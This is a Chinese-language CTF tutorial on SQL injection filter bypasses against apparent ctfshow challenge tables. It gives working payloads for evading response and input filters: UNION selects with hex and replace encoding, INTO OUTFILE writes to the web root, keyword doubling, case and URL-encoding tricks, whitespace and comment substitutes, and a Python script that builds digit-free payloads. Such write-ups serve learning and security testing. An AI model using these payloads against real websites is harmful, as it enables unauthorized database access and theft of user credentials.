回显过滤

这一类的过滤从服务端传回客户端的响应内容

字段值过滤

常量绕过(数字或字符串)

如果对回显内容中不重要的字段的值过滤,可以将其替代为常量,此时回显中该字段的值为字段名的数字或字符串

例如如下payload,将username字段用常量1代替

1' union select 1,password from ctfshow_user2 where username='flag' -- qwe

16进制绕过

如果是对回显内容中字段的值过滤,可以使用hex()将关键词转为十六进制数

例如如下payload

-1' union select id,hex(username),password from ctfshow_user3 where username='flag' -- qwe

replace绕过

replace绕过主要是应对对于回显结果的检测

比如下面的检测

1
2
3
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

我们可以将被过滤的字符串替换为我们指定的字符串,然后将回显结果替换回去

比如上述检测我们可以使用如下replace绕过

首先用replace将回显中的数字替换

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J")

得到回显结果后,将结果使用下面的python脚本复原

1
2
3
4
Cipher = " "
flag = Cipher.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")

print(flag)

导出回显(针对全字符过滤)

当回显中的所有ASCII字符均被过滤时,考虑将回显输出到网站根目录下的txt文件中

例如如下情况:

1
2
3
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

此时可以利用into语句

payload为-1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt' -- qwe

再访问/ctf.txt即可

传参(payload)过滤

字段值过滤

16进制绕过

如果是对payload传参内容中目标字段值的过滤,可以将其用对应的十六进制值代替,例如

1
2
3
4
5
6
mysql> select * from users where username = 0x7465737431;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+

当单双引号被禁用时,我们也可以将字段值用十六进制值来代替,这样值的位置就从字符串变为十六进制,避免使用引号

通配符绕过(模糊查询)

我们可以使用模糊查询like配合通配符来绕过对字段值的过滤

比如flag被过滤,我们可以构造如下payload

-1'or(username)like'f%

或者-1'or(username)like'%g

关键字过滤

大小写绕过

常用于 waf的正则表达式对大小写不敏感的情况

例如:waf过滤了关键字select,可以尝试使用Select等绕过。

在 SQL 中,关键字函数名是不用区分字母大小写的,比如 SELECT、WHERE、ORDER、GROUP BY 等关键字,以及 ABS、MOD、ROUND、MAX 等函数名。

改变编码

通过hex、urlencode、url等编码替换关键字中的字符

例如or可以替换为%6fr

关键字双写

如果过滤器仅查找并移除单个实例的关键字,攻击者可以通过重复关键字来绕过过滤

例如,如果过滤器设计为移除单个的 SELECT,攻击者可以在注入代码中使用 SESELECTLECT

在某些情况下,解析器在处理这类输入时会忽略中间的重叠部分,从而解析为有效的 SELECT

同样,and可以替换为aandndor可以替换为oorr

使用相同功能的符号替换

and关键字可以替换为&&

or关键字可以替换为||

舍弃关键字

如果关键字select被过滤,过滤时也不区分大小写,可以换一种思路来解题

例如将拼接的payload作为原本sql语句的查询条件

空格过滤

  1. 注释`//`**

    在MySQL中,用/*注释*/来标记注释的内容。

    该绕过的原理是使用注释时会自动在语句中创建一个空格

  2. 反引号(只能括表名和字段名)

    反引号只能替代字段名、表名前后的空格

    例如

    1
    2
    3
    4
    # 替换前
    -1'Union Select id,username,password from ctfshow_user where username ='flag' -- qwe
    # 替换后
    -1'Union/**/Select`id`,`username`,`password`from`ctfshow_user`where`username`='flag'%23
  3. 括号(仅能括能作为子查询的语句)

    如果空格被过滤,括号没有被过滤,可以用括号绕过。

    在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

    1
    -1'Union(Select(id),(username),(password)from(ctfshow_user)where(username)='flag')%23
  4. %09

    可以使用水平制表符替换空格,tab的url编码为%09

  5. %0a

    可以使用换行符替换空格,换行的url编码为%0a

  6. %0b

    垂直制表符

  7. %0c

    可以使用换页符替换空格,换页符的url编码为%0c

  8. %0d

    可以使用回车符替换空格,回车的url编码为%0d

  9. %a0

    可以使用不间断空格替换空格,不间断空格的url编码为%a0

注释过滤

SQL注入题最常过滤的就是注释符,所以需要多备一些注释的方法,方便在被过滤时灵活切换

常见注释如下:

  1. --空格
  2. --%0c
  3. #%23
  4. /**/
  5. ;%00

当注释符都被过滤时,也可以考虑直接闭合后引号

例如and 'a'='a

数字过滤

当payload语句中的0-9数字被过滤

我们可以尝试使用布尔值true相加l来构造单个数字,通过concat来拼接多个数字

例如23可以用concat(true+true,true+true+true)

下面是一个现成的替换脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def formatString(str):
temp="concat("
for x in str:
tip=0
if x in string.digits:
tmp=int(x)
else:
tip=1
temp+="char("
tmp=ord(x)
if tmp == 0:
temp+="false"
else:
temp_d="("
for i in range(0,tmp):
temp_d+="true+"
temp_d=temp_d[:-1]+")"
if tip==1:
temp_d+=")"
temp+=temp_d
temp+=","
# 去掉最后一个逗号,将其改为反括号
temp=temp[:-1]+")"
return temp

where被过滤

where关键字被过滤,且语句中未提供where关键字时,我们有两种绕过思路

  1. groupby+having替换where+like

    关键字where + like可以使用group by + having来替代

  2. 使用join或right join

    在SQL中,JOIN 语句用于结合两个或多个数据库表中的行。

    详细用法可以参考文章SQL注入 right/left join 详解与利用_sql注入right-CSDN博客